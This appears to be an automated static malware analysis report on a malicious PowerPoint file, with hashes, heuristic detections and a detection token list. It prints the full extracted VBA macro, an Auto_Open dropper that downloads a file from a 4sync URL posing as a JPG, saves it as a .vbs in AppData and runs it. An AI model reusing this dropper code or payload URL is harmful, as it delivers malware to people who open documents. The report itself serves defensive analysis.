Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9e6cf11a1c975706…

MALICIOUS

Office (OOXML)

7.5 KB First seen: 2021-04-10
MD5: 0583877caea3476c9bceea2fab010e6f SHA-1: eadf8e54f60b87272ad4456e341c712dc012971b SHA-256: 9e6cf11a1c9757069f6b016be382a4b92aedbb40de95bd728f28879f648ad211
298 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim Shell
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     .write X1X.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim X1X: Set X1X = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Public Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    F3F = Environ("AppDATA")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://dc708.4sync.com/download/OuaUpz2w/K6_online.JPG?dsid=-oCzo6PE.2efe1600d97e747a26cea9350fb0d6bc&sbsr=be4f75969238073c99f1aa929a19476ca71&bip=MjAxLjIwLjY2LjQz&lgfp=40 Referenced by macro
    • https://dc708.4sync.com/download/OuaUpz2w/K6_online.JPG?dsid=-oCzo6PE.2efe1600d97e747a26cea9350fb0d6bc&sbsr=be4f75969238073c99f1aa929a19476ca71&bip=MjAxLjIwLjY2LjQz&lgfp=40�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 660 bytes
SHA-256: 1f6eab210bc0dd0ba9517435b2db5c7ffc5c65e15b0cd6aaa18feb95f4eddbfc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YMFMU"
Public Sub Auto_Open()
Dim X1X: Set X1X = CreateObject("Microsoft.XMLHTTP")
Dim D2D: Set D2D = CreateObject("Adodb.Stream")
X1X.Open "GET", "https://dc708.4sync.com/download/OuaUpz2w/K6_online.JPG?dsid=-oCzo6PE.2efe1600d97e747a26cea9350fb0d6bc&sbsr=be4f75969238073c99f1aa929a19476ca71&bip=MjAxLjIwLjY2LjQz&lgfp=40", False
X1X.Send
Dim F3F As String
F3F = Environ("AppDATA")
With D2D
 .Type = 1
 .Open
 .write X1X.responseBody
 .savetofile F3F & "\OFJFT.vbs", 2
End With
Dim Shell
Set objShell = CreateObject("WScript.Shell")

        objShell.CurrentDirectory = F3F
        objShell.Run "OFJFT.vbs"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 14336 bytes
SHA-256: ab365982b64bcd572a5e74926bb57ad0b64dd006bcb5cd84ce7e9d5c78782982

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